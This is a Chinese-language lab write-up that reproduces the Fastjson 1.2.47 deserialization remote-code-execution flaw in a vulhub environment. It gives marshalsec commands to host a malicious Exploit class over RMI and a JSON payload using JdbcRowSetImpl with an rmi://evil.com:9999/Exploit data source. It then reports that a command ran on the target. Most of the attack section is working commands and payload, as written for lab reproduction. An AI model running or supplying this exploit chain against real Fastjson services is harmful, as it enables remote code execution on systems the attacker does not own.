1.影响版本

1.2.48以下版本

2.环境搭建

用p牛的vulhub复现
https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

image.png

3.使用JNDI配合RMI or LDAP二阶注入

marshalsec工具,用来开启RMI&LDAP
https://github.com/MagicZer0/fastjson-rce-exploit/blob/master/marshalsec-0.0.3-SNAPSHOT-all.jar

3.1用python搭建一个http服务

  1. py -3 -m http.server 80

image.png

3.2编译恶意类

  1. javac Exploit.java

image.png
image.png

3.3用marshalsec开启RMI服务

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.64.1:8000/#Exploit 9999

image.png

payload
{
“a”:{
“@type”:”java.lang.Class”,
“val”:”com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”rmi://evil.com:9999/Exploit”,
“autoCommit”:true
}
}

image.png

3.4 发送payload攻击

image.png
rmi收到请求

image.png
http服务收到请求

image.png

命令touch /tmp/success已成功执行了。

4.坑点

rmi和ldap的利用方式对jdk版本有限制
fastjson=<1.2.47 反序列化漏洞复现 - 图10